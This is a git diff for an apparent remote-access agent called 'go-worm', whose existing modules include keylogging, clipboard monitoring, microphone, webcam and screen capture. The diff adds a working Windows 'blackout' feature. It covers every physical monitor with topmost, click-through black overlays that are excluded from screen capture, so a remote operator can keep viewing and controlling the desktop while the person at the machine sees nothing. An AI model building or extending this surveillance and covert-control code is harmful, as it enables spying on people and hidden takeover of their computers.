diff --git a/VERSION b/VERSION index 6d7de6e..af0b7dd 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.0.2 +1.0.6 diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 3d4ebbc..a36d194 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "tea.chunkbyte.com/kato/go-worm/lib/blackout" "tea.chunkbyte.com/kato/go-worm/lib/capture" "tea.chunkbyte.com/kato/go-worm/lib/clipmon" "tea.chunkbyte.com/kato/go-worm/lib/config" @@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) { func (a *Agent) Close() { clipmon.Stop() keylog.Stop() + blackout.Stop() capture.Stop() mic.Stop() if a.guard != nil { @@ -95,6 +97,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/upload", a.handleUpload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) + mux.HandleFunc("/api/v1/blackout", a.handleBlackout) mux.HandleFunc("/api/v1/webcam", a.handleWebcam) mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) mux.HandleFunc("/api/v1/mic", a.handleMic) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index f82f837..fa941a5 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -14,6 +14,7 @@ import ( "strings" "time" + "tea.chunkbyte.com/kato/go-worm/lib/blackout" "tea.chunkbyte.com/kato/go-worm/lib/capture" "tea.chunkbyte.com/kato/go-worm/lib/command" "tea.chunkbyte.com/kato/go-worm/lib/config" @@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top)) w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width)) w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height)) + if blackout.Enabled() { + w.Header().Set("X-Screen-Blackout", "1") + } _, _ = w.Write(frame.Data) } +func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()}) + case http.MethodPut: + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var body struct { + Enabled *bool `json:"enabled"` + } + if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil { + helpers.WriteError(w, http.StatusBadRequest, "enabled is required") + return + } + if err := blackout.Set(*body.Enabled); err != nil { + helpers.Log.Printf("blackout: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()}) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + } +} + func parseMicDevice(r *http.Request) (int, error) { device := 0 if raw := r.URL.Query().Get("device"); raw != "" { diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 58ba618..0c1de6e 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -27,6 +27,7 @@ const videoStop = document.getElementById("video-stop"); const videoInteract = document.getElementById("video-interact"); const videoKeyHint = document.getElementById("video-key-hint"); + const videoBlackout = document.getElementById("video-blackout"); const webcamCanvas = document.getElementById("webcam-canvas"); const webcamMeta = document.getElementById("webcam-meta"); const webcamDevice = document.getElementById("webcam-device"); @@ -680,7 +681,7 @@ const width = bitmap.width; const height = bitmap.height; bitmap.close(); - videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`; + videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`; } async function sendClick(event, button) { @@ -737,6 +738,22 @@ return false; } + async function loadBlackout() { + const res = await api("/api/v1/blackout"); + const data = await res.json(); + videoBlackout.checked = Boolean(data.enabled); + } + + async function setBlackoutEnabled(enabled) { + const res = await api("/api/v1/blackout", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ enabled }), + }); + const data = await res.json(); + videoBlackout.checked = Boolean(data.enabled); + } + function setVideoTabActive(active) { if (videoTabActive === active) return; videoTabActive = active; @@ -920,6 +937,9 @@ document.getElementById(button.dataset.tab).classList.add("active"); const onVideo = button.dataset.tab === "video"; setVideoTabActive(onVideo); + if (onVideo) { + loadBlackout().catch((err) => showError(err.message)); + } if (!onVideo) { stopVideo(); } @@ -1028,6 +1048,12 @@ sendClick(event, "right").catch((err) => showError(err.message)); }); videoInteract.addEventListener("change", () => syncInteractable()); + videoBlackout.addEventListener("change", () => { + setBlackoutEnabled(videoBlackout.checked).catch((err) => { + videoBlackout.checked = !videoBlackout.checked; + showError(err.message); + }); + }); document.querySelectorAll(".mod-btn").forEach((button) => { button.addEventListener("click", () => { if (!videoInteract.checked) return; diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 359d6d5..1c8653b 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -819,7 +819,7 @@

Remote desktop

-

Live monitor stream. Interaction is off until you enable it.

+

Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.

@@ -841,6 +841,10 @@ Interactable +
diff --git a/lib/blackout/blackout.go b/lib/blackout/blackout.go new file mode 100644 index 0000000..f47403a --- /dev/null +++ b/lib/blackout/blackout.go @@ -0,0 +1,13 @@ +package blackout + +func Enabled() bool { return running() } + +func Set(on bool) error { + if on { + return start() + } + stop() + return nil +} + +func Stop() { stop() } diff --git a/lib/blackout/blackout_test.go b/lib/blackout/blackout_test.go new file mode 100644 index 0000000..95a7195 --- /dev/null +++ b/lib/blackout/blackout_test.go @@ -0,0 +1,10 @@ +package blackout + +import "testing" + +func TestDisabledByDefault(t *testing.T) { + t.Parallel() + if Enabled() { + t.Fatal("blackout should start off") + } +} diff --git a/lib/blackout/overlay_stub.go b/lib/blackout/overlay_stub.go new file mode 100644 index 0000000..bdd7482 --- /dev/null +++ b/lib/blackout/overlay_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package blackout + +import "errors" + +func running() bool { return false } + +func start() error { + return errors.New("monitor blackout is only available on Windows") +} + +func stop() {} diff --git a/lib/blackout/overlay_windows.go b/lib/blackout/overlay_windows.go new file mode 100644 index 0000000..ff1b343 --- /dev/null +++ b/lib/blackout/overlay_windows.go @@ -0,0 +1,372 @@ +//go:build windows + +package blackout + +import ( + "errors" + "fmt" + "runtime" + "sync" + "syscall" + "time" + "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/screenshot" +) + +const ( + className = "win64_mp_blackout" + + wsPopup = 0x80000000 + + wsExLayered = 0x00080000 + wsExTransparent = 0x00000020 + wsExTopmost = 0x00000008 + wsExToolwindow = 0x00000080 + wsExNoActivate = 0x08000000 + layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate + + swShowNoActivate = 4 + swpNoActivate = 0x0010 + swpNoMove = 0x0002 + swpNoSize = 0x0001 + swpShowWindow = 0x0040 + + lwaAlpha = 0x00000002 + wdaExcludeFromCapture = 0x00000011 + blackBrush = 4 + errorClassAlreadyExists = 1410 + htTransparent = 0xFFFFFFFF + maNoActivate = 3 + wmQuit = 0x0012 + wmNcHitTest = 0x0084 + wmMouseActivate = 0x0021 + wmDisplayChange = 0x007E + wmUser = 0x0400 + wmRebuild = wmUser + 1 + hwndTopmost = ^uintptr(0) // HWND_TOPMOST +) + +type wndClassEx struct { + Size uint32 + Style uint32 + WndProc uintptr + ClsExtra int32 + WndExtra int32 + Instance uintptr + Icon uintptr + Cursor uintptr + Background uintptr + MenuName *uint16 + ClassName *uint16 + IconSm uintptr +} + +type msg struct { + HWnd uintptr + Message uint32 + WParam uintptr + LParam uintptr + Time uint32 + Pt struct{ X, Y int32 } +} + +type overlayRect struct { + left, top, width, height int +} + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + gdi32 = syscall.NewLazyDLL("gdi32.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procRegisterClassExW = user32.NewProc("RegisterClassExW") + procCreateWindowExW = user32.NewProc("CreateWindowExW") + procDestroyWindow = user32.NewProc("DestroyWindow") + procShowWindow = user32.NewProc("ShowWindow") + procSetWindowPos = user32.NewProc("SetWindowPos") + procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes") + procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity") + procDefWindowProcW = user32.NewProc("DefWindowProcW") + procGetMessageW = user32.NewProc("GetMessageW") + procTranslateMessage = user32.NewProc("TranslateMessage") + procDispatchMessageW = user32.NewProc("DispatchMessageW") + procPostThreadMessageW = user32.NewProc("PostThreadMessageW") + procGetStockObject = gdi32.NewProc("GetStockObject") + procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW") + procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") + + // ponytail: NewCallback is never freed; one wndproc for the process. + wndProcCB = syscall.NewCallback(overlayWndProc) + + mu sync.Mutex + active bool + threadID uint32 + loopDone chan struct{} + hwnds []uintptr + classAtom uint16 + classUTF16 *uint16 +) + +func init() { + if unsafe.Sizeof(wndClassEx{}) != 80 { + panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{}))) + } +} + +func running() bool { + mu.Lock() + defer mu.Unlock() + return active +} + +func start() error { + mu.Lock() + if active { + mu.Unlock() + return nil + } + done := make(chan struct{}) + ready := make(chan error, 1) + loopDone = done + mu.Unlock() + + go func() { + defer close(done) + defer helpers.RecoverLog("blackout") + runOverlayLoop(ready) + }() + + select { + case err := <-ready: + if err != nil { + <-done + return err + } + return nil + case <-time.After(5 * time.Second): + stop() + return errors.New("monitor blackout did not start") + } +} + +func stop() { + mu.Lock() + tid := threadID + done := loopDone + mu.Unlock() + if tid != 0 { + _, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0) + } + if done != nil { + <-done + } +} + +func runOverlayLoop(ready chan<- error) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + defer func() { + destroyOverlays() + mu.Lock() + active = false + threadID = 0 + loopDone = nil + mu.Unlock() + }() + + tid, _, _ := procGetCurrentThreadId.Call() + mu.Lock() + threadID = uint32(tid) + mu.Unlock() + + if err := registerClass(); err != nil { + ready <- err + return + } + if err := createOverlays(); err != nil { + ready <- err + return + } + + mu.Lock() + active = true + mu.Unlock() + ready <- nil + + ticker := time.NewTicker(time.Second) + defer ticker.Stop() + stopTop := make(chan struct{}) + defer close(stopTop) + go func() { + defer helpers.RecoverLog("blackout-top") + for { + select { + case <-stopTop: + return + case <-ticker.C: + mu.Lock() + on := active + ids := append([]uintptr(nil), hwnds...) + mu.Unlock() + if !on { + return + } + for _, hwnd := range ids { + _, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate) + } + } + } + }() + + var m msg + for { + ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0) + v := int32(ret) + if v == 0 || v == -1 { + return + } + if m.HWnd == 0 && m.Message == wmRebuild { + _ = createOverlays() + continue + } + _, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m))) + _, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m))) + } +} + +func registerClass() error { + if classAtom != 0 { + return nil + } + name, err := syscall.UTF16PtrFromString(className) + if err != nil { + return err + } + classUTF16 = name + inst, _, _ := procGetModuleHandleW.Call(0) + brush, _, _ := procGetStockObject.Call(blackBrush) + wc := wndClassEx{ + Size: uint32(unsafe.Sizeof(wndClassEx{})), + WndProc: wndProcCB, + Instance: inst, + Background: brush, + ClassName: name, + } + atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))) + if atom == 0 { + if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists { + classAtom = 1 + return nil + } + if callErr != nil && callErr != syscall.Errno(0) { + return callErr + } + return errors.New("RegisterClassEx failed") + } + classAtom = uint16(atom) + return nil +} + +func monitorRects() ([]overlayRect, error) { + var out []overlayRect + for i := 0; i < 64; i++ { + left, top, width, height, err := screenshot.MonitorBounds(i) + if err != nil { + break + } + if width < 1 || height < 1 { + continue + } + out = append(out, overlayRect{left, top, width, height}) + } + if len(out) == 0 { + return nil, errors.New("no displays found") + } + return out, nil +} + +func createOverlays() error { + destroyOverlays() + rects, err := monitorRects() + if err != nil { + return err + } + inst, _, _ := procGetModuleHandleW.Call(0) + var created []uintptr + for _, r := range rects { + hwnd, err := createOverlay(inst, r) + if err != nil { + for _, h := range created { + _, _, _ = procDestroyWindow.Call(h) + } + return err + } + created = append(created, hwnd) + } + mu.Lock() + hwnds = created + mu.Unlock() + return nil +} + +func createOverlay(inst uintptr, r overlayRect) (uintptr, error) { + hwnd, _, callErr := procCreateWindowExW.Call( + layeredEx, + uintptr(unsafe.Pointer(classUTF16)), + 0, + wsPopup, + uintptr(int32(r.left)), + uintptr(int32(r.top)), + uintptr(int32(r.width)), + uintptr(int32(r.height)), + 0, 0, inst, 0, + ) + if hwnd == 0 { + if callErr != nil && callErr != syscall.Errno(0) { + return 0, callErr + } + return 0, errors.New("CreateWindowEx failed") + } + ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture) + if ok == 0 { + _, _, _ = procDestroyWindow.Call(hwnd) + if affErr != nil && affErr != syscall.Errno(0) { + return 0, fmt.Errorf("exclude overlay from capture: %w", affErr) + } + return 0, errors.New("exclude overlay from capture failed") + } + _, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha) + _, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow) + _, _, _ = procShowWindow.Call(hwnd, swShowNoActivate) + return hwnd, nil +} + +func destroyOverlays() { + mu.Lock() + ids := hwnds + hwnds = nil + mu.Unlock() + for _, hwnd := range ids { + _, _, _ = procDestroyWindow.Call(hwnd) + } +} + +func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr { + switch message { + case wmNcHitTest: + return htTransparent + case wmMouseActivate: + return maNoActivate + case wmDisplayChange: + mu.Lock() + tid := threadID + mu.Unlock() + if tid != 0 { + _, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0) + } + return 0 + } + ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam) + return ret +} diff --git a/lib/capture/client_windows.go b/lib/capture/client_windows.go index 75b6a52..22112bb 100644 --- a/lib/capture/client_windows.go +++ b/lib/capture/client_windows.go @@ -12,6 +12,7 @@ import ( "sync" "time" + "tea.chunkbyte.com/kato/go-worm/lib/blackout" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/models" @@ -80,7 +81,7 @@ func (h *helper) grab(index int, format string, quality int) (models.CapturedIma deadline := time.Now().Add(config.CaptureTimeout) _ = h.stdin.SetWriteDeadline(deadline) _ = h.stdout.SetReadDeadline(deadline) - if err := writeRequest(h.stdin, index, format, quality); err != nil { + if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil { return models.CapturedImage{}, err } img, err := readResponse(h.reader) diff --git a/lib/capture/helper_windows.go b/lib/capture/helper_windows.go index a7800dc..666180d 100644 --- a/lib/capture/helper_windows.go +++ b/lib/capture/helper_windows.go @@ -18,7 +18,7 @@ func RunHelper() int { in := bufio.NewReader(os.Stdin) out := bufio.NewWriter(os.Stdout) for { - monitor, format, quality, err := readRequest(in) + monitor, format, quality, omitLayered, err := readRequest(in) if err == io.EOF { return 0 } @@ -27,7 +27,7 @@ func RunHelper() int { _ = out.Flush() return 1 } - img, err := grab(monitor, format, quality) + img, err := grab(monitor, format, quality, omitLayered) if err != nil { if werr := writeErr(out, err.Error()); werr != nil { return 1 @@ -46,11 +46,12 @@ func RunHelper() int { } } -func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) { +func grab(monitor int, format string, quality int, omitLayered bool) (img models.CapturedImage, err error) { defer func() { if r := recover(); r != nil { err = fmt.Errorf("panic: %v", r) } }() + screenshot.SetOmitLayered(omitLayered) return screenshot.CaptureMonitor(monitor, format, quality) } diff --git a/lib/capture/protocol.go b/lib/capture/protocol.go index bcf0a34..119832c 100644 --- a/lib/capture/protocol.go +++ b/lib/capture/protocol.go @@ -14,30 +14,38 @@ import ( var ErrMonitorNotFound = errors.New("monitor not found") -func writeRequest(w io.Writer, monitor int, format string, quality int) error { - _, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality) +func writeRequest(w io.Writer, monitor int, format string, quality int, omitLayered bool) error { + flag := 0 + if omitLayered { + flag = 1 + } + _, err := fmt.Fprintf(w, "C %d %s %d %d\n", monitor, format, quality, flag) return err } -func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) { +func readRequest(r *bufio.Reader) (monitor int, format string, quality int, omitLayered bool, err error) { line, err := r.ReadString('\n') if err != nil { - return 0, "", 0, err + return 0, "", 0, false, err } fields := strings.Fields(strings.TrimSpace(line)) - if len(fields) != 4 || fields[0] != "C" { - return 0, "", 0, errors.New("bad capture request") + if len(fields) != 5 || fields[0] != "C" { + return 0, "", 0, false, errors.New("bad capture request") } monitor, err = strconv.Atoi(fields[1]) if err != nil { - return 0, "", 0, err + return 0, "", 0, false, err } format = fields[2] quality, err = strconv.Atoi(fields[3]) if err != nil { - return 0, "", 0, err + return 0, "", 0, false, err } - return monitor, format, quality, nil + flag, err := strconv.Atoi(fields[4]) + if err != nil { + return 0, "", 0, false, err + } + return monitor, format, quality, flag != 0, nil } func writeFrame(w io.Writer, img models.CapturedImage) error { diff --git a/lib/capture/protocol_test.go b/lib/capture/protocol_test.go index fd960a2..6439206 100644 --- a/lib/capture/protocol_test.go +++ b/lib/capture/protocol_test.go @@ -11,15 +11,15 @@ import ( func TestCaptureProtocolRoundTrip(t *testing.T) { t.Parallel() var buf bytes.Buffer - if err := writeRequest(&buf, 1, "jpeg", 40); err != nil { + if err := writeRequest(&buf, 1, "jpeg", 40, true); err != nil { t.Fatal(err) } - mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes()))) + mon, format, quality, omit, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes()))) if err != nil { t.Fatal(err) } - if mon != 1 || format != "jpeg" || quality != 40 { - t.Fatalf("request = %d %s %d", mon, format, quality) + if mon != 1 || format != "jpeg" || quality != 40 || !omit { + t.Fatalf("request = %d %s %d omit=%v", mon, format, quality, omit) } buf.Reset() diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index 0f8541b..d761e9f 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -168,10 +168,11 @@ func Spec() map[string]any { "200": map[string]any{ "description": "Screenshot image", "headers": map[string]any{ - "X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}}, - "X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}}, - "X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, - "X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Screen-Blackout": map[string]any{"schema": map[string]string{"type": "string"}, "description": "1 when physical monitors are blacked out"}, }, "content": map[string]any{ "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, @@ -183,6 +184,26 @@ func Spec() map[string]any { }), }, }, + "/api/v1/blackout": map[string]any{ + "get": map[string]any{ + "summary": "Read physical monitor blackout", + "operationId": "getBlackout", + "responses": auth(map[string]any{ + "200": okJSON("Blackout state", ref("BlackoutState")), + }), + }, + "put": map[string]any{ + "summary": "Black out physical monitors", + "operationId": "setBlackout", + "description": "Covers physical displays with a click-through overlay excluded from capture. Remote video and input keep working.", + "requestBody": jsonBody(ref("BlackoutUpdate")), + "responses": auth(map[string]any{ + "200": okJSON("Blackout state", ref("BlackoutState")), + "400": errResp("Invalid body"), + "503": errResp("Blackout failed"), + }), + }, + }, "/api/v1/webcam": map[string]any{ "get": map[string]any{ "summary": "List webcams", @@ -563,6 +584,19 @@ func Spec() map[string]any { "klogging": map[string]any{"type": "boolean"}, }, }, + "BlackoutState": map[string]any{ + "type": "object", + "properties": map[string]any{ + "enabled": map[string]any{"type": "boolean"}, + }, + }, + "BlackoutUpdate": map[string]any{ + "type": "object", + "required": []string{"enabled"}, + "properties": map[string]any{ + "enabled": map[string]any{"type": "boolean"}, + }, + }, "ClickRequest": map[string]any{ "type": "object", "required": []string{"x", "y", "button"}, "properties": map[string]any{ diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go index f7b68d2..919c45a 100644 --- a/lib/openapi/spec_test.go +++ b/lib/openapi/spec_test.go @@ -11,8 +11,8 @@ func TestSpec(t *testing.T) { if !ok || len(paths) < 12 { t.Fatalf("expected at least 12 paths, got %d", len(paths)) } - if _, ok := paths["/api/v1/mic"]; !ok { - t.Fatal("missing /api/v1/mic") + if _, ok := paths["/api/v1/blackout"]; !ok { + t.Fatal("missing /api/v1/blackout") } if _, ok := paths["/api/v1/watchdog"]; !ok { t.Fatal("missing /api/v1/watchdog") diff --git a/lib/screenshot/screenshot.go b/lib/screenshot/screenshot.go index 6199c30..c785bfd 100644 --- a/lib/screenshot/screenshot.go +++ b/lib/screenshot/screenshot.go @@ -16,6 +16,18 @@ import ( var ErrMonitorNotFound = errors.New("monitor not found") +const ( + srcCopy = 0x00CC0020 + captureBlt = 0x40000000 +) + +var omitLayeredWindows bool + +// SetOmitLayered skips CAPTUREBLT so WS_EX_LAYERED overlays (blackout) stay off the bitmap. +func SetOmitLayered(omit bool) { + omitLayeredWindows = omit +} + var ( user32 = syscall.NewLazyDLL("user32.dll") gdi32 = syscall.NewLazyDLL("gdi32.dll") @@ -210,8 +222,11 @@ func captureRect(r rect) (*image.RGBA, error) { defer procDeleteObject.Call(bitmap) old, _, _ := procSelectObject.Call(memDC, bitmap) defer procSelectObject.Call(memDC, old) - const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT - ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy) + blit := uintptr(srcCopy) + if !omitLayeredWindows { + blit |= captureBlt + } + ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), blit) if ok == 0 { return nil, err }